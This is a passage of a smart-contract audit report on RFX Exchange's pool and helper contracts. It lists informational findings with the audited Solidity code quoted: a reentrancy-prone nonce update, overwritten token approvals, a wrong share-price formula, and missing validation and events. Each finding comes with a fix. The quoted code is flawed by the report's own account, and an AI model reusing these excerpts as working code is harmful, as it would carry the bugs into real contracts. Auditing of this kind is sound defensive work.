    (uint256 _navValue, address[] memory markets, uint256[] memory marketBalances) =
        helper.calculateNAV(0, depositAsset, decimals, oracleId[depositAsset], activeMarkets.values());

    // Removing empty markets
    _removeMarkets(markets, marketBalances);

    // Updating the stored navValule and distributing NAV per share
    navStored = uint128(_navValue);
    uint256 newShareToAssetPrice = (_navValue * PRECISION) / totalSupply;
    shareToAssetPrice = newShareToAssetPrice;
    shareToAssetPriceUsed = newShareToAssetPrice;

    if (_endEpoch) _endCurrentEpoch();

    emit ReallocationEnded(currentEpoch, _navValue, shareToAssetPrice);
}
BVSS
Recommendation

It is recommended to refund any excess ETH or prevent the caller to send a different value than required.

Remediation

SOLVED: the RFX Exchange team solved this issue by refunding the excess ether.

Remediation Hash

7.7 RFXHelper market deduplication gas optimization

// Informational

Description

The current deduplication algorithm in the contract has a time complexity of O(n²), which can be optimized to O(n) for better performance. The existing algorithm iterates through the entire list for each item, leading to inefficient processing for larger datasets.


Here is the current implementation:

function _removeDuplicateMarkets(address[] memory _marketList) internal pure returns (address[] memory) {
    // Creating a new array to store the final list - array could be too long if duplicates
    address[] memory _finalList = new address[](_marketList.length);
    uint256 uniqueItems;

    // Adds unique items to the final list
    for (uint256 i = 0; i < _marketList.length;) {
        address currentOuterItem = _marketList[i];
        for (uint256 j = 0; j < _finalList.length; j++) {
            address currentFinalItem = _finalList[j];
            if (currentOuterItem == currentFinalItem) break;
            if (j == _finalList.length - 1) {
                _finalList[uniqueItems] = currentOuterItem;
                uniqueItems++;
            }
        }
        unchecked {
            i++;
        }
    }

    retur
BVSS
Recommendation

It is recommended to implement a mapping-based approach:

  1. Use a mapping for quick lookup.

  2. If an item is not in the mapping, add it to both the mapping and the final array.

  3. Clear the mapping after use to maintain clean state.

Since mappings are state variables, ensure to clear the mapping after use to maintain a clean contract state.

Remediation

SOLVED: the RFX Exchange team solved this issue by removing the deduplication element completely.

Remediation Hash

7.8 Approving allocation does not increment if approving from the same market twice

// Informational

Description

In the _approveAllocation implementation of the CommonPool contract, when a token is included in both withdrawTx and in the depositTx, the amount to approve in the deposit will overwrite the one in withdraw, instead of adding up. Likewise, if a token is included more than once inside one deposit/withdraw multicall, the allowance will not be increased. That may cause problems when using the same token in a withdrawal and a deposit in the same transaction.


function _approveAllocation(WithdrawTx calldata _withdraw, DepositTx calldata _deposit) internal {
    // Approving the spending from withdrawTx
    for (uint256 i; i < _withdraw.multicall.position.length;) {
        IERC20(_withdraw.multicall.sendToken[i].token).approve(
            routerSender, _withdraw.multicall.sendToken[i].amount
        );
        unchecked {
            i++;
        }
    }

    // Approving the spending from depositTx
    for (uint256 i = 0; i < _deposit.multicall.position.length;) {
        IERC20(_deposit.multicall.sendToken[i].token).approve(
            routerSender, _deposit.multicall.sendToken[i].amount
        );
        unchecked {
            i++;
        }
    }
}
BVSS
Recommendation

It is recommended to track a list of required allowances so that there can only be one approve call per token.

Remediation

SOLVED: the RFX Exchange team solved this issue by aggregating the allowances in a requiredAllowances variable.

Remediation Hash

7.9 Possible reentrancy in allocateFunds

// Informational

Description

There is a potential reentrancy in the allocateFunds function, because there is a foreign call (ERC20 approve) on a user input (markets). However, the user is an administrator and is not likely to use a malicious contract address as an input, and legitimate markets are RFX pools, also not likely to be malicious.

The consequence of such a reentrancy would likely be repeating a multicall deposit or withdraw that would have lot of chances to fail and with not much impact, but could still be part of a bigger exploit involving third parties like RFX exchange contracts.


The following snippet shows that the orderNonce variable is incremented after the foreign call:

function allocateFunds(WithdrawTx calldata _withdraw, DepositTx calldata _deposit) external payable {
    // Checking reports are valid and signed and building the transaction data for the multicall
    (bytes[] memory _data, address[] memory _markets) = helper.checkReportsAndBuild(_withdraw, _deposit, orderNonce);

    // Approving funds being sent via SendTokens
    _approveAllocation(_withdraw, _deposit); <--------- foreign call here

    // Updating enumerable set with the new markets
    _addMarkets(_markets);

    // Send transaction data to the router
    orderNonce++; // <------- updated after the foreign call
    router.multicall{value: msg.value}(_data);
    emit ReallocationInitiated(_withdraw, _deposit);
}

function _approveAllocation(WithdrawTx calldata _withdraw, DepositTx calldata _deposit) internal {
    // Approving the spending from withdrawTx
    for (uint256 i; i < _withdraw.multicall.position.length;) {
        IERC20(_withdraw.multicall.sendToken[i].token).approve(
            routerSender, _withdraw.multicall.sendToken[i].amount
        );
        unchecked {
            i++;
        }
    }

    // Approving the spending from depositTx
    for (uint256 i = 0; i < _deposit.multicall.position.length;) {
        IERC20(_deposit.multicall.sendToken[i].token).approve(
            routerSender, _deposit.multicall.sendToken[i].amount
        );
        unchecked {
            i++;
        }
    }
}
Score
Impact:
Likelihood:
Recommendation

It is recommended to update state variables participating to assertions (such as orderNonce) before the foreign call.

Remediation

SOLVED: the RFX Exchange team solved this issue by adding access control on the vulnerable reentrant function.

Remediation Hash

7.10 Missing zero address validation checks

// Informational

Description

It was found that addresses parameter were not totally validated not to be equal to zero, that could lead to failure of business logic if that happen:

  • CommonPool.sol→updateApprovedExternalAddr

  • CommonPool.sol→updateOracleId

  • swaps/SwapModule.sol→setModuleAddr


For example, in updateOracleId:

function updateOracleId(address[] calldata _token, bytes32[] calldata _oracleId) external onlyOwner {
    if (_token.length != _oracleId.length) revert IErrors.InvalidLength();
    for (uint256 i; i < _token.length;) {
        oracleId[_token[i]] = _oracleId[i];
        unchecked {
            i++;
        }
    }

    emit OracleIdUpdated(_token, _oracleId);
}
Score
Impact:
Likelihood:
Recommendation

It is recommended to validate that addresses cannot be the zero address before updating variables.

Remediation

SOLVED: the RFX Exchange team solved this issue by adding the missing zero checks.

Remediation Hash

7.11 Missing or incomplete events

// Informational

Description

It was found that the SwapModule contract does not emit events when updating its variables (setModuleAddr, setApprovedCaller), and that the CommonPool's updateProtocolAddresses function may update the _eventEmitter but does not reflect it in the emitted event.


For example, with the setModuleAddr:

function setModuleAddr(uint256[] calldata _id, address[] calldata _addr) public onlyOwner {
    if (_id.length != _addr.length) revert IErrors.InvalidLength();
    for (uint256 i = 0; i < _id.length;) {
        moduleAddr[_id[i]] = _addr[i];
        unchecked {
            i++;
        }
    }
}
Score
Impact:
Likelihood:
Recommendation

It is recommended to emit events with all the relevant information.

Remediation

SOLVED: the RFX Exchange team solved this issue by adding the missing events.

Remediation Hash

7.12 ShareToAssetPrice is not correct

// Informational

Description

The share to asset price is the ratio between the pool net value and the amount of emitted shares. When a user deposits, the new calculation does not take the minted shares into account:


function _scaleVariables(uint256 shares, bool isDeposit) internal {
    uint256 supply = totalSupply;
    shareToAssetPrice = (shareToAssetPrice * supply) / (isDeposit ? supply + shares : supply - shares);
}

For example, a pool of 1000 shares for 1000 USD net value has a price of 1 USD per share. If Alice deposits 1000 USD, she will receive 1000 shares. The share to asset price would therefore be 2000 USD for 2000 shares, 1 USD per share. However, with the current calculations, it is computed to be 1000 USD for 2000, 0.5 USD per share.



The share to asset parameter is not used anywhere else than in that computation, so the finding is informational.

Score
Impact:
Likelihood:
Recommendation

It is recommended to correct the calculations behind the shareToAssetPrice.

Remediation

SOLVED: the RFX Exchange team solved this issue by fixing the math behind the shareToAssetPrice ratio.

Remediation Hash

8. Automated Testing

Static Analysis Report

Description

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.


The security team assessed all findings identified by the Slither software and included the reetrancy warning in the report.

Slither output #1
Slither output #2

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.

© Halborn 2024. All rights reserved.